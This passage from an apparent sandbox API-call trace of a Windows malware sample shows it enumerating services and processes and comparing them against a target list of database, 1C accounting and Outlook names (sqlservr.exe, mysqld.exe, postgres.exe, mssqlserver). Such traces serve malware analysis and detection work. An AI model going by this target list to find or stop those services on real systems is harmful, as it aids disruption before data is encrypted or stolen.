[0050.170] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0050.170] lstrlenW (lpString="PcaSvc") returned 6 [0050.170] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0050.170] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0050.170] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0050.170] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0050.170] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0050.170] lstrlenW (lpString="PlugPlay") returned 8 [0050.170] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0050.170] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0050.170] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0050.170] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0050.170] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0050.170] lstrlenW (lpString="Power") returned 5 [0050.170] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0050.170] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0050.170] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0050.170] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0050.170] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0050.170] lstrlenW (lpString="ProfSvc") returned 7 [0050.170] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0050.170] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0050.170] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0050.171] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0050.171] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0050.171] lstrlenW (lpString="RpcEptMapper") returned 12 [0050.171] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0050.171] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0050.171] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0050.171] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0050.171] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0050.171] lstrlenW (lpString="RpcSs") returned 5 [0050.171] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0050.171] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0050.171] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0050.171] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0050.171] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0050.171] lstrlenW (lpString="SamSs") returned 5 [0050.171] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0050.171] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0050.171] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0050.171] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0050.171] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0050.171] lstrlenW (lpString="Schedule") returned 8 [0050.171] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0050.171] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0050.171] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0050.171] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0050.171] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0050.171] lstrlenW (lpString="SENS") returned 4 [0050.172] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0050.172] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0050.172] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0050.172] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0050.172] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0050.172] lstrlenW (lpString="ShellHWDetection") returned 16 [0050.172] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0050.172] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0050.172] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0050.172] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0050.172] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0050.172] lstrlenW (lpString="Spooler") returned 7 [0050.172] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0050.172] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0050.172] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0050.172] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0050.172] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0050.172] lstrlenW (lpString="SysMain") returned 7 [0050.172] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0050.172] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0050.172] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0050.172] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0050.172] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0050.172] lstrlenW (lpString="Themes") returned 6 [0050.172] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0050.172] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0050.173] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0050.173] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0050.173] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0050.173] lstrlenW (lpString="TrkWks") returned 6 [0050.173] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0050.173] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0050.173] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0050.173] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0050.173] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0050.173] lstrlenW (lpString="UxSms") returned 5 [0050.173] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0050.173] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0050.173] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0050.173] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0050.173] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0050.173] lstrlenW (lpString="VSS") returned 3 [0050.173] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0050.173] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0050.173] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0050.173] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0050.173] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0050.173] lstrlenW (lpString="WdiServiceHost") returned 14 [0050.173] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0050.173] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0050.173] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0050.173] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0050.174] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0050.174] lstrlenW (lpString="WdiSystemHost") returned 13 [0050.174] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0050.174] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0050.174] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0050.174] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0050.174] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0050.174] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0050.174] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0050.174] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0050.174] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0050.174] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0050.174] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0050.174] lstrlenW (lpString="Winmgmt") returned 7 [0050.174] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0050.174] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0050.174] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0050.174] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0050.174] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0050.174] lstrlenW (lpString="WPDBusEnum") returned 10 [0050.174] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0050.174] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0050.174] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0050.174] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0050.174] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0050.174] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x39606f0 | out: hHeap=0x510000) returned 1 [0050.174] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x208 [0050.177] Process32FirstW (in: hSnapshot=0x208, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0050.177] Process32NextW (in: hSnapshot=0x208, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0050.177] lstrlenW (lpString="System") returned 6 [0050.177] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0050.177] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0050.177] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0050.177] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0050.177] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0050.177] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0050.177] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0050.177] Process32NextW (in: hSnapshot=0x208, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0050.178] lstrlenW (lpString="smss.exe") returned 8 [0050.178] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0050.178] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0050.178] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0050.178] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0050.178] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0050.178] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0050.178] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0050.178] Process32NextW (in: hSnapshot=0x208, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0050.178] lstrlenW (lpString="csrss.exe") returned 9 [0050.178] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0050.178] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0050.178] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0050.178] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0050.179] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0050.179] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0050.179] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0050.179] Process32NextW (in: hSnapshot=0x208, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0050.179] lstrlenW (lpString="wininit.exe") returned 11 [0050.179] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0050.179] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0050.179] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0050.179] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0050.179] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0050.179] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0050.179] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0050.179] Process32NextW (in: hSnapshot=0x208, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0050.180] lstrlenW (lpString="csrss.exe") returned 9 [0050.180] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0050.180] Process32NextW (in: hSnapshot=0x208, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0050.180] lstrlenW (lpString="winlogon.exe") returned 12 [0050.181] Process32NextW (in: hSnapshot=0x208, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0050.181] lstrlenW (lpString="services.exe") returned 12 [0050.181] Process32NextW (in: hSnapshot=0x208, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0050.181] lstrlenW (lpString="lsass.exe") returned 9 [0050.181] Process32NextW (in: hSnapshot=0x208, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0050.182] lstrlenW (lpString="lsm.exe") returned 7 [0050.182] Process32NextW (in: hSnapshot=0x208, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0050.182] lstrlenW (lpString="svchost.exe") returned 11 [0050.182] Process32NextW (in: hSnapshot=0x208, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0050.182] lstrlenW (lpString="svchost.exe") returned 11 [0050.182] Process32NextW (in: hSnapshot=0x208, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0050.183] lstrlenW (lpString="svchost.exe") returned 11 [0050.183] Process32NextW (in: hSnapshot=0x208, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0050.183] lstrlenW (lpString="svchost.exe") returned 11 [0050.183] Process32NextW (in: hSnapshot=0x208, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x28, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0050.183] lstrlenW (lpString="svchost.exe") returned 11 [0050.183] Process32NextW (in: hSnapshot=0x208, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0050.184] lstrlenW (lpString="audiodg.exe") returned 11 [0050.184] Process32NextW (in: hSnapshot=0x208, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0050.184] lstrlenW (lpString="svchost.exe") returned 11 [0050.184] Process32NextW (in: hSnapshot=0x208, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0050.184] lstrlenW (lpString="svchost.exe") returned 11 [0050.184] Process32NextW (in: hSnapshot=0x208, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0050.185] lstrlenW (lpString="dwm.exe") returned 7 [0050.185] Process32NextW (in: hSnapshot=0x208, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0050.185] lstrlenW (lpString="explorer.exe") returned 12 [0050.185] Process32NextW (in: hSnapshot=0x208, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0050.185] lstrlenW (lpString="spoolsv.exe") returned 11 [0050.185] Process32NextW (in: hSnapshot=0x208, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0050.186] lstrlenW (lpString="taskhost.exe") returned 12 [0050.186] Process32NextW (in: hSnapshot=0x208, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0050.186] lstrlenW (lpString="svchost.exe") returned 11 [0050.186] Process32NextW (in: hSnapshot=0x208, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0050.186] lstrlenW (lpString="taskeng.exe") returned 11 [0050.186] Process32NextW (in: hSnapshot=0x208, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0050.187] lstrlenW (lpString="taskhost.exe") returned 12 [0050.187] Process32NextW (in: hSnapshot=0x208, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="poland_holmes_bryant.exe")) returned 1 [0050.187] lstrlenW (lpString="poland_holmes_bryant.exe") returned 24 [0050.187] Process32NextW (in: hSnapshot=0x208, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explicit-much-possibilities.exe")) returned 1 [0050.187] lstrlenW (lpString="explicit-much-possibilities.exe") returned 31 [0050.188] Process32NextW (in: hSnapshot=0x208, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="frankfurtextensivewv.exe")) returned 1 [0050.188] lstrlenW (lpString="frankfurtextensivewv.exe") returned 24 [0050.188] Process32NextW (in: hSnapshot=0x208, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="dramatic-idle.exe")) returned 1 [0050.188] lstrlenW (lpString="dramatic-idle.exe") returned 17 [0050.188] Process32NextW (in: hSnapshot=0x208, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x344, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="britannicaconsultdemocracy.exe")) returned 1 [0050.189] lstrlenW (lpString="britannicaconsultdemocracy.exe") returned 30 [0050.189] Process32NextW (in: hSnapshot=0x208, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="ecagreedreceipt.exe")) returned 1 [0050.189] lstrlenW (lpString="ecagreedreceipt.exe") returned 19 [0050.189] Process32NextW (in: hSnapshot=0x208, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x204, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="toyota.exe")) returned 1 [0050.190] lstrlenW (lpString="toyota.exe") returned 10 [0050.190] Process32NextW (in: hSnapshot=0x208, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x714, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="radiation.exe")) returned 1 [0050.190] lstrlenW (lpString="radiation.exe") returned 13 [0050.190] Process32NextW (in: hSnapshot=0x208, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="club-dividend-responses.exe")) returned 1 [0050.190] lstrlenW (lpString="club-dividend-responses.exe") returned 27 [0050.191] Process32NextW (in: hSnapshot=0x208, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="ur illustration.exe")) returned 1 [0050.191] lstrlenW (lpString="ur illustration.exe") returned 19 [0050.191] Process32NextW (in: hSnapshot=0x208, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="facing.exe")) returned 1 [0050.191] lstrlenW (lpString="facing.exe") returned 10 [0050.191] Process32NextW (in: hSnapshot=0x208, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="freewarefrontpage.exe")) returned 1 [0050.191] lstrlenW (lpString="freewarefrontpage.exe") returned 21 [0050.191] Process32NextW (in: hSnapshot=0x208, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="asking_pennsylvania.exe")) returned 1 